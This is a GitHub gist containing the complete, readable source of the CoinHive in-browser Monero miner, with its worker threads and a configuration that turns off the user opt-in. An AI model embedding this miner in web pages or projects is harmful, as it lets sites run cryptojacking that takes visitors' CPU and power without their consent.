Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@fffonion
Created December 6, 2017 17:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fffonion/0d83a7f19eee4caaef8c4d0303bb8d6c to your computer and use it in GitHub Desktop.
Save fffonion/0d83a7f19eee4caaef8c4d0303bb8d6c to your computer and use it in GitHub Desktop.
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
this._reconnectRetry = 3;
this._tokenFromServer = null;
this._goal = 0;
this._totalHashesFromDeadThreads = 0;
this._throttle = Math.max(0, Math.min(.99, this.params.throttle || 0));
this._stopOnInvalidOptIn = false;
this._waitingForAuth = false;
this._autoThreads = {
enabled: !!this.params.autoThreads,
interval: null,
adjustAt: null,
adjustEvery: 1e4,
stats: {}
};
this._tab = {
ident: Math.random() * 16777215 | 0,
mode: CoinHive.IF_EXCLUSIVE_TAB,
grace: 0,
waitReconnect: 0,
lastPingReceived: 0,
interval: null
};
if (window.BroadcastChannel) {
try {
this._bc = new BroadcastChannel("coinhive");
this._bc.onmessage = function(msg) {
if (msg.data === "ping") {
this._tab.lastPingReceived = Date.now()
}
}.bind(this)
} catch (e) {}
}
if (CoinHive.CONFIG.REQUIRES_AUTH) {
this._auth = new CoinHive.Auth(this._siteKey, {
theme: this.params.theme || "light",
lang: this.params.language || "auto"
})
}
this._eventListeners = {
open: [],
authed: [],
close: [],
error: [],
job: [],
found: [],
accepted: [],
optin: []
};
var defaultThreads = navigator.hardwareConcurrency || 4;
this._targetNumThreads = this.params.threads || defaultThreads;
this._useWASM = this.hasWASMSupport() && !this.params.forceASMJS;
this._asmjsStatus = "unloaded";
this._onTargetMetBound = this._onTargetMet.bind(this);
this._onVerifiedBound = this._onVerified.bind(this)
};
Miner.prototype.start = function(mode, optInToken) {
this._tab.mode = mode || CoinHive.IF_EXCLUSIVE_TAB;
this._optInToken = optInToken;
if (this._tab.interval) {
clearInterval(this._tab.interval);
this._tab.interval = null
}
this._loadWorkerSource(function() {
this._startNow()
}.bind(this))
};
Miner.prototype.stop = function(mode) {
for (var i = 0; i < this._threads.length; i++) {
this._totalHashesFromDeadThreads += this._threads[i].hashesTotal;
this._threads[i].stop()
}
this._threads = [];
this._autoReconnect = false;
if (this._socket) {
this._socket.close()
}
this._currentJob = null;
if (this._autoThreads.interval) {
clearInterval(this._autoThreads.interval);
this._autoThreads.interval = null
}
if (this._tab.interval && mode !== "dontKillTabUpdate") {
clearInterval(this._tab.interval);
this._tab.interval = null
}
};
Miner.prototype.getHashesPerSecond = function() {
var hashesPerSecond = 0;
for (var i = 0; i < this._threads.length; i++) {
hashesPerSecond += this._threads[i].hashesPerSecond
}
return hashesPerSecond
};
Miner.prototype.getTotalHashes = function(estimate) {
var now = Date.now();
var hashes = this._totalHashesFromDeadThreads;
for (var i = 0; i < this._threads.length; i++) {
var thread = this._threads[i];
hashes += thread.hashesTotal;
if (estimate) {
var tdiff = (now - thread.lastMessageTimestamp) / 1e3 * .9;
hashes += tdiff * thread.hashesPerSecond
}
}
return hashes | 0
};
Miner.prototype.getAcceptedHashes = function() {
return this._hashes
};
Miner.prototype.getToken = function() {
return this._tokenFromServer
};
Miner.prototype.on = function(type, callback) {
if (this._eventListeners[type]) {
this._eventListeners[type].push(callback)
}
};
Miner.prototype.getAutoThreadsEnabled = function(enabled) {
return this._autoThreads.enabled
};
Miner.prototype.setAutoThreadsEnabled = function(enabled) {
this._autoThreads.enabled = !!enabled;
if (!enabled && this._autoThreads.interval) {
clearInterval(this._autoThreads.interval);
this._autoThreads.interval = null
}
if (enabled && !this._autoThreads.interval) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
}
};
Miner.prototype.getThrottle = function() {
return this._throttle
};
Miner.prototype.setThrottle = function(throttle) {
this._throttle = Math.max(0, Math.min(.99, throttle));
if (this._currentJob) {
this._setJob(this._currentJob)
}
};
Miner.prototype.getNumThreads = function() {
return this._targetNumThreads
};
Miner.prototype.setNumThreads = function(num) {
var num = Math.max(1, num | 0);
this._targetNumThreads = num;
if (num > this._threads.length) {
for (var i = 0; num > this._threads.length; i++) {
var thread = new CoinHive.JobThread;
if (this._currentJob) {
thread.setJob(this._currentJob, this._onTargetMetBound)
}
this._threads.push(thread)
}
} else if (num < this._threads.length) {
while (num < this._threads.length) {
var thread = this._threads.pop();
this._totalHashesFromDeadThreads += thread.hashesTotal;
thread.stop()
}
}
};
Miner.prototype.hasWASMSupport = function() {
return window.WebAssembly !== undefined
};
Miner.prototype.isRunning = function() {
return this._threads.length > 0
};
Miner.prototype.isMobile = function() {
return /mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i.test(navigator.userAgent)
};
Miner.prototype.didOptOut = function(seconds) {
if (!CoinHive.CONFIG.REQUIRES_AUTH) {
return false
}
seconds = seconds || 60 * 60 * 4;
var t = this._auth.getOptOutTime();
return !!(t && t > Date.now() / 1e3 - seconds)
};
Miner.prototype.selfTest = function(callback) {
this._loadWorkerSource(function() {
if (!this.verifyThread) {
this.verifyThread = new CoinHive.JobThread
}
var testJob = {
verify_id: "1",
nonce: "204f150c",
result: "6a9c7dea83b079ce0e012907dd6929bcb0aeec3c1f06c032ca7c3386432bca00",
blob: "0606c6d8cfd005cad45b0306350a730b0354d52f1b6d671063824287ce4a82c971d109d56d1f1b00000000ee2d1d4fd7c18bdc1b24abb902ac8ecc3d201ffb5904de9e476a7bbb0f9ec1ab04"
};
this.verifyThread.verify(testJob, function(res) {
callback(res.verified === true)
})
}.bind(this))
};
Miner.prototype._loadWorkerSource = function(callback) {
if (this._useWASM || this._asmjsStatus === "loaded") {
callback()
} else if (this._asmjsStatus === "unloaded") {
this._asmjsStatus = "pending";
var xhr = new XMLHttpRequest;
xhr.addEventListener("load", function() {
CoinHive.CRYPTONIGHT_WORKER_BLOB = CoinHive.Res(xhr.responseText);
this._asmjsStatus = "loaded";
callback()
}.bind(this), xhr);
xhr.open("get", CoinHive.CONFIG.LIB_URL + CoinHive.CONFIG.ASMJS_NAME, true);
xhr.send()
}
};
Miner.prototype._startNow = function() {
if (this._tab.mode !== CoinHive.FORCE_MULTI_TAB && !this._tab.interval) {
this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)
}
if (this._tab.mode === CoinHive.IF_EXCLUSIVE_TAB && this._otherTabRunning()) {
return
}
if (this._tab.mode === CoinHive.FORCE_EXCLUSIVE_TAB) {
this._tab.grace = Date.now() + 3e3
}
if (!this.verifyThread) {
this.verifyThread = new CoinHive.JobThread
}
this.setNumThreads(this._targetNumThreads);
this._autoReconnect = true;
if (CoinHive.CONFIG.REQUIRES_AUTH && !this._optInToken) {
this._waitingForAuth = true;
this._auth.auth(function(token) {
this._waitingForAuth = false;
if (!token) {
this.stop();
this._emit("optin", {
status: "canceled"
});
this._emit("error", {
error: "opt_in_canceled"
});
return
}
this._emit("optin", {
status: "accepted"
});
this._optInToken = token;
this._connect()
}.bind(this))
} else {
this._connect()
}
};
Miner.prototype._otherTabRunning = function() {
if (this._tab.lastPingReceived > Date.now() - 1500) {
return true
}
try {
var tdjson = localStorage.getItem("coinhive");
if (tdjson) {
var td = JSON.parse(tdjson);
if (td.ident !== this._tab.ident && Date.now() - td.time < 1500) {
return true
}
}
} catch (e) {}
return false
};
Miner.prototype._updateTabs = function() {
if (Date.now() < this._tab.waitReconnect) {
return
}
var otherTabRunning = this._otherTabRunning();
if (otherTabRunning && this.isRunning() && Date.now() > this._tab.grace) {
this.stop("dontKillTabUpdate")
} else if (!otherTabRunning && !this.isRunning()) {
this._startNow()
}
if (this.isRunning() && !this._waitingForAuth) {
if (this._bc) {
this._bc.postMessage("ping")
}
try {
localStorage.setItem("coinhive", JSON.stringify({
ident: this._tab.ident,
time: Date.now()
}))
} catch (e) {}
}
};
Miner.prototype._adjustThreads = function() {
var hashes = this.getHashesPerSecond();
var threads = this.getNumThreads();
var stats = this._autoThreads.stats;
stats[threads] = stats[threads] ? stats[threads] * .5 + hashes * .5 : hashes;
if (Date.now() > this._autoThreads.adjustAt) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
var cur = (stats[threads] || 0) - 1;
var up = stats[threads + 1] || 0;
var down = stats[threads - 1] || 0;
if (cur > down && (up === 0 || up > cur) && threads < 8) {
return this.setNumThreads(threads + 1)
} else if (cur > up && (!down || down > cur) && threads > 1) {
return this.setNumThreads(threads - 1)
}
}
};
Miner.prototype._emit = function(type, params) {
var listeners = this._eventListeners[type];
if (listeners && listeners.length) {
for (var i = 0; i < listeners.length; i++) {
listeners[i](params)
}
}
};
Miner.prototype._hashString = function(s) {
var hash = 5381,
i = s.length;
while (i) {
hash = hash * 33 ^ s.charCodeAt(--i)
}
return hash >>> 0
};
Miner.prototype._connect = function() {
if (this._socket) {
return
}
var shards = CoinHive.CONFIG.WEBSOCKET_SHARDS;
var shardIdx = this._hashString(this._siteKey) % shards.length;
var proxies = shards[shardIdx];
var proxyUrl = proxies[Math.random() * proxies.length | 0];
this._socket = new WebSocket(proxyUrl);
this._socket.onmessage = this._onMessage.bind(this);
this._socket.onerror = this._onError.bind(this);
this._socket.onclose = this._onClose.bind(this);
this._socket.onopen = this._onOpen.bind(this)
};
Miner.prototype._onOpen = function(ev) {
this._emit("open");
var params = {
site_key: this._siteKey,
type: "anonymous",
user: null,
goal: 0
};
if (this._user) {
params.type = "user";
params.user = this._user.toString()
} else if (this._goal) {
params.type = "token";
params.goal = this._goal
}
if (this.params.ref) {
params.ref = this.params.ref
}
if (this._optInToken) {
params.opt_in = this._optInToken
}
this._send("auth", params)
};
Miner.prototype._onError = function(ev) {
this._emit("error", {
error: "connection_error"
});
this._onClose(ev)
};
Miner.prototype._onClose = function(ev) {
if (ev.code >= 1003 && ev.code <= 1009) {
this._reconnectRetry = 60;
this._tab.waitReconnect = Date.now() + 60 * 1e3
}
for (var i = 0; i < this._threads.length; i++) {
this._threads[i].stop()
}
this._threads = [];
this._socket = null;
this._emit("close");
if (this._autoReconnect) {
setTimeout(this._startNow.bind(this), this._reconnectRetry * 1e3)
}
};
Miner.prototype._onMessage = function(ev) {
var msg = JSON.parse(ev.data);
if (msg.type === "job") {
this._setJob(msg.params);
this._emit("job", msg.params);
if (this._autoThreads.enabled && !this._autoThreads.interval) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
}
} else if (msg.type === "verify") {
this.verifyThread.verify(msg.params, this._onVerifiedBound)
} else if (msg.type === "hash_accepted") {
this._hashes = msg.params.hashes;
this._emit("accepted", msg.params);
if (this._goal && this._hashes >= this._goal) {
this.stop()
}
} else if (msg.type === "authed") {
this._tokenFromServer = msg.params.token || null;
this._hashes = msg.params.hashes || 0;
this._emit("authed", msg.params);
this._reconnectRetry = 3;
this._tab.waitReconnect = 0
} else if (msg.type === "error") {
if (console && console.error) {
console.error("Coinhive Error:", msg.params.error)
}
this._emit("error", msg.params);
if (msg.params.error === "invalid_site_key") {
this._reconnectRetry = 6e3;
this._tab.waitReconnect = Date.now() + 6e3 * 1e3
} else if (msg.params.error === "invalid_opt_in") {
if (this._stopOnInvalidOptIn) {
return this.stop()
} else if (this._auth) {
this._auth.reset()
}
}
}
if (msg.type === "banned" || msg.params.banned) {
this._emit("error", {
banned: true
});
this._reconnectRetry = 600;
this._tab.waitReconnect = Date.now() + 600 * 1e3
}
};
Miner.prototype._setJob = function(job) {
this._currentJob = job;
this._currentJob.throttle = this._throttle;
for (var i = 0; i < this._threads.length; i++) {
this._threads[i].setJob(job, this._onTargetMetBound)
}
};
Miner.prototype._onTargetMet = function(result) {
this._emit("found", result);
if (result.job_id === this._currentJob.job_id) {
this._send("submit", {
job_id: result.job_id,
nonce: result.nonce,
result: result.result
})
}
};
Miner.prototype._onVerified = function(verifyResult) {
this._send("verified", verifyResult)
};
Miner.prototype._send = function(type, params) {
if (!this._socket) {
return
}
var msg = {
type: type,
params: params || {}
};
this._socket.send(JSON.stringify(msg))
};
window.CoinHive = window.CoinHive || {};
window.CoinHive.IF_EXCLUSIVE_TAB = "ifExclusiveTab";
window.CoinHive.FORCE_EXCLUSIVE_TAB = "forceExclusiveTab";
window.CoinHive.FORCE_MULTI_TAB = "forceMultiTab";
window.CoinHive.Token = function(siteKey, goal, params) {
var miner = new Miner(siteKey, params);
miner._goal = goal || 0;
return miner
};
window.CoinHive.User = function(siteKey, user, params) {
var miner = new Miner(siteKey, params);
miner._user = user;
return miner
};
window.CoinHive.Anonymous = function(siteKey, params) {
var miner = new Miner(siteKey, params);
return miner
};
window.CoinHive.Res = function(s) {
var url = window.URL || window.webkitURL || window.mozURL;
return url.createObjectURL(new Blob([s]))
}
})(window);
(function(window) {
"use strict";
var JobThread = function() {
this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);
this.worker.onmessage = this.onReady.bind(this);
this.currentJob = null;
this.verifyJob = null;
this.jobCallback = function() {};
this.verifyCallback = function() {};
this._isReady = false;
this.hashesPerSecond = 0;
this.hashesTotal = 0;
this.running = false;
this.lastMessageTimestamp = Date.now()
};
JobThread.prototype.onReady = function(msg) {
if (msg.data !== "ready" || this._isReady) {
throw 'Expecting first message to be "ready", got ' + msg
}
this._isReady = true;
this.worker.onmessage = this.onReceiveMsg.bind(this);
if (this.currentJob) {
this.running = true;
this.worker.postMessage(this.currentJob)
} else if (this.verifyJob) {
this.worker.postMessage(this.verifyJob)
}
};
JobThread.prototype.onReceiveMsg = function(msg) {
if (msg.data.verify_id) {
this.verifyCallback(msg.data);
return
}
if (msg.data.result) {
this.jobCallback(msg.data)
}
this.hashesPerSecond = this.hashesPerSecond * .5 + msg.data.hashesPerSecond * .5;
this.hashesTotal += msg.data.hashes;
this.lastMessageTimestamp = Date.now();
if (this.running) {
this.worker.postMessage(this.currentJob)
}
};
JobThread.prototype.setJob = function(job, callback) {
this.currentJob = job;
this.jobCallback = callback;
if (this._isReady && !this.running) {
this.running = true;
this.worker.postMessage(this.currentJob)
}
};
JobThread.prototype.verify = function(job, callback) {
this.verifyCallback = callback;
if (!this._isReady) {
this.verifyJob = job
} else {
this.worker.postMessage(job)
}
};
JobThread.prototype.stop = function() {
if (this.worker) {
this.worker.terminate();
this.worker = null
}
this.running = false
};
window.CoinHive.JobThread = JobThread
})(window);
self.CoinHive = self.CoinHive || {};
self.CoinHive.CONFIG = {
LIB_URL: "https://coinhive.com/lib/",
ASMJS_NAME: "cryptonight-asmjs.min.js",
REQUIRES_AUTH: false,
WEBSOCKET_SHARDS: [
["wss://ws001.coinhive.com/proxy", "wss://ws002.coinhive.com/proxy", "wss://ws003.coinhive.com/proxy", "wss://ws004.coinhive.com/proxy", "wss://ws005.coinhive.com/proxy", "wss://ws006.coinhive.com/proxy", "wss://ws007.coinhive.com/proxy", "wss://ws029.coinhive.com/proxy"],
["wss://ws008.coinhive.com/proxy", "wss://ws009.coinhive.com/proxy", "wss://ws010.coinhive.com/proxy", "wss://ws011.coinhive.com/proxy", "wss://ws012.coinhive.com/proxy", "wss://ws013.coinhive.com/proxy", "wss://ws014.coinhive.com/proxy", "wss://ws030.coinhive.com/proxy"],
["wss://ws015.coinhive.com/proxy", "wss://ws016.coinhive.com/proxy", "wss://ws017.coinhive.com/proxy", "wss://ws018.coinhive.com/proxy", "wss://ws019.coinhive.com/proxy", "wss://ws020.coinhive.com/proxy", "wss://ws021.coinhive.com/proxy", "wss://ws031.coinhive.com/proxy"],
["wss://ws022.coinhive.com/proxy", "wss://ws023.coinhive.com/proxy", "wss://ws024.coinhive.com/proxy", "wss://ws025.coinhive.com/proxy", "wss://ws026.coinhive.com/proxy", "wss://ws027.coinhive.com/proxy", "wss://ws028.coinhive.com/proxy", "wss://ws032.coinhive.com/proxy"]
],
CAPTCHA_URL: "https://coinhive.com/captcha/",
MINER_URL: "https://coinhive.com/media/miner.html",
AUTH_URL: "https://authedmine.com/authenticate.html"
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment